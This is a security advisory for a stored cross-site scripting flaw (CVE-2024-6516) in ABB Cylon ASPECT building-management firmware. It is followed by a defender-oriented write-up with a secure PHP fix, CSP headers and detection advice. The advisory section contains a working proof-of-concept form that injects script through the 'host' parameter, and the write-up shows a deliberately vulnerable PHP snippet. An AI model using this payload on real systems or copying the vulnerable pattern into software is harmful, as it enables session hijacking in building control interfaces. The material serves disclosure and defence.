ABB Cylon Aspect 3.08.02 (licenseServerUpdate.php) - Stored Cross-Site Scripting
ABB Cylon Aspect 3.08.02 (licenseServerUpdate.php) Stored Cross-Site Scripting
Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
Firmware: <=3.08.02
Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.
Desc: The ABB BMS/BAS controller suffers from an authenticated stored cross-site
scripting vulnerability. Input passed to the 'host' POST parameter is not
properly sanitised before being returned to the user. This can be exploited
to execute arbitrary HTML/JS code in a user's browser session in context of
an affected site.
Tested on: GNU/Linux 3.15.10 (armv7l)
GNU/Linux 3.10.0 (x86_64)
GNU/Linux 2.6.32 (x86_64)
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
PHP/7.3.11
PHP/5.6.30
PHP/5.4.16
PHP/4.4.8
PHP/5.3.3
AspectFT Automation Application Server
lighttpd/1.4.32
lighttpd/1.4.18
Apache/2.2.15 (CentOS)
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
ErgoTech MIX Deployment Server 2.0.0
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2025-5906
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5906.php
CVE ID: CVE-2024-6516
CVE URL: CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-6516
21.04.2024
-->
P R O J E C T
.|
| |
|'| ._____
___ | | |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
____| '-' ' "" '-' '-.' '` |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░
░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
<body>
<form action="http://192.168.73.31/licenseServerUpdate.php" method="post">
<input type="hidden" name="licenseServer" value="Server" />
<input type="hidden" name="host" value="'><script>confirm(document.domain)</script>" />
<input type="submit" value="Submit" />
</form>
</body>
</html> ABB Cylon Aspect 3.08.02 (licenseServerUpdate.php) — Stored Cross-Site Scripting (CVE-2024-6516)
Summary
The ABB Cylon ASPECT building management solution contains an authenticated stored cross-site scripting (XSS) vulnerability in licenseServerUpdate.php. The vulnerability stems from insufficient output encoding of the host POST parameter, allowing attacker-controlled HTML to be stored and later rendered in a victim's browser within the application context. The issue is tracked as CVE-2024-6516 and was disclosed by Gjoko "LiquidWorm" Krstic.
Affected products and versions
- NEXUS Series — firmware ≤ 3.08.02
- MATRIX-2 Series — firmware ≤ 3.08.02
- ASPECT-Enterprise — firmware ≤ 3.08.02
- ASPECT-Studio — firmware ≤ 3.08.02
Why this matters (Impact)
- Stored XSS allows persistent injection of HTML/JavaScript that executes in the context of authenticated users who view the affected page.
- An attacker with the ability to POST to the vulnerable endpoint (authenticated user or a compromised internal client) can inject payloads that steal session tokens, perform actions on behalf of users, or deliver secondary payloads (browser-based persistence or additional exploit chains).
- Because ASPECT is used for building management, successful exploitation may enable lateral movement inside industrial or building automation environments if administrative sessions are hijacked.
Technical analysis
The root cause is missing or incorrect output encoding when data from the host POST field is persisted and later rendered inside an HTML response. When the server echoes user-supplied data into an HTML page without encoding, browsers will parse injected markup and script.
Typical vulnerable pattern (conceptual): the POSTed value is stored in a database or configuration file and later interpolated into an HTML page template without escaping. The exact rendering context (HTML body, attribute, JS literal) determines the specific encoding required.
Safe reproduction and testing guidance
Always perform testing only on systems you own, manage, or are explicitly authorized to test. To verify whether a system reflects input without executing active script, use a harmless markup sample first (for example, a bold tag) and confirm storage and rendering. This demonstrates the presence of a reflection/persistence issue without introducing active JavaScript.
<!-- Example benign test payload (do not use in production without authorization) -->
<input name="host" value="<strong>XSS_TEST</strong>" />
Explanation: Sending a value such as <strong>XSS_TEST</strong> and observing a bolded "XSS_TEST" in the web UI indicates that markup is being stored and rendered unsanitized. If markup appears as literal text (escaped), output encoding is likely in place. Use this approach only for discovery under authorization.
Minimal vulnerable PHP pattern (illustrative)
<?php
// vulnerable-example.php (conceptual)
$host = $_POST['host']; // no validation/encoding
// persist $host to DB or config...
// later, rendered directly:
echo "<div>Configured license host: $host</div>";
?>
Explanation: The snippet demonstrates the unsafe pattern: user input assigned directly and echoed into HTML. If $host contains HTML or a <script> tag, the browser will execute it when the page is loaded by another user.
Secure fixes and hardening
Fixes must be applied at the source: ensure proper input handling and, crucially, context-correct output encoding when rendering user-controlled data. Prefer whitelisting for structured inputs (hostnames, IP addresses) and use encoding libraries for general text fields.
<?php
// secure-example.php
$host = isset($_POST['host']) ? $_POST['host'] : '';
// 1) Validate: allow only expected characters for a hostname (letters, digits, dot, hyphen)
if (!preg_match('/^[A-Za-z0-9\.\-:]+$/', $host)) {
// handle invalid input (reject/normalize/log)
$host = '';
}
// 2) Persist as needed...
// 3) Output-encode when rendering:
echo '<div>Configured license host: '.htmlspecialchars($host, ENT_QUOTES | ENT_HTML5, 'UTF-8').'</div>';
?>
Explanation: The secure example uses a validation step (regular expression whitelist) appropriate for hostname-like input. Regardless of validation, it applies htmlspecialchars when rendering, which converts special characters to HTML entities and prevents injected markup/scripts from executing.
Additional mitigations
- Implement Content Security Policy (CSP) with restrictive script-src directives to reduce the impact of any injected script. Example header:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; - Ensure session cookies use Secure and HttpOnly flags to reduce theft risk via client-side script.
- Deploy a Web Application Firewall (WAF) with rules to detect and block common XSS patterns until code is patched.
- Restrict administrative interfaces to trusted networks and require multi-factor authentication for admin users.
Example server header configuration (safe)
# Example Content-Security-Policy header (add to web server config)
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-'; object-src 'none'; base-uri 'self'; frame-ancestors 'none';
# Plus secure cookies
Set-Cookie: SESSIONID=...; HttpOnly; Secure; SameSite=Strict
Explanation: The CSP restricts script execution to the same origin and optionally to scripts using a server-generated nonce. Secure cookie attributes reduce exposure to client-side script-based theft and cross-site request forgery risks.
Detection and logging guidance
- Monitor logs for POST requests to licenseServerUpdate.php that include suspicious payloads or unusual characters in the host parameter.
- Search persisted configuration entries or DB columns for strings containing angle brackets (< or >), JavaScript keywords (e.g., "script", "onerror"), or encoded script vectors.
- Use authenticated web application scanners or manual review to identify stored XSS locations in admin interfaces. Limit testing to authorized environments.
Remediation and practical recommendations
- Apply vendor-provided patches or firmware updates that address this issue. The vulnerability affects firmware versions up to and including 3.08.02 — upgrade to the vendor-supplied fixed versions when available.
- If immediate patching is not possible, implement compensating controls: restrict access to management interfaces, enable network-level filtering, enforce MFA, and deploy a WAF.
- Audit all places where user-controlled data is persisted and rendered. Adopt an output-encoding policy by HTML context (HTML body, attribute, JavaScript literal, URL, CSS).
- Use secure coding patterns: input validation (whitelists), output encoding, principle of least privilege, and an application security review process.
References and identifiers
| Identifier | Value |
|---|---|
| CVE | CVE-2024-6516 |
| Advisory | ZSL-2025-5906 (disclosed by researcher) |
Final notes for defenders
Stored XSS in administrative or management interfaces is high risk because it targets privileged user sessions. Prioritize patching and use layered defenses (coding fixes + CSP + network controls). Maintain a responsible disclosure practice and verify fixes in a staging environment before production deployment.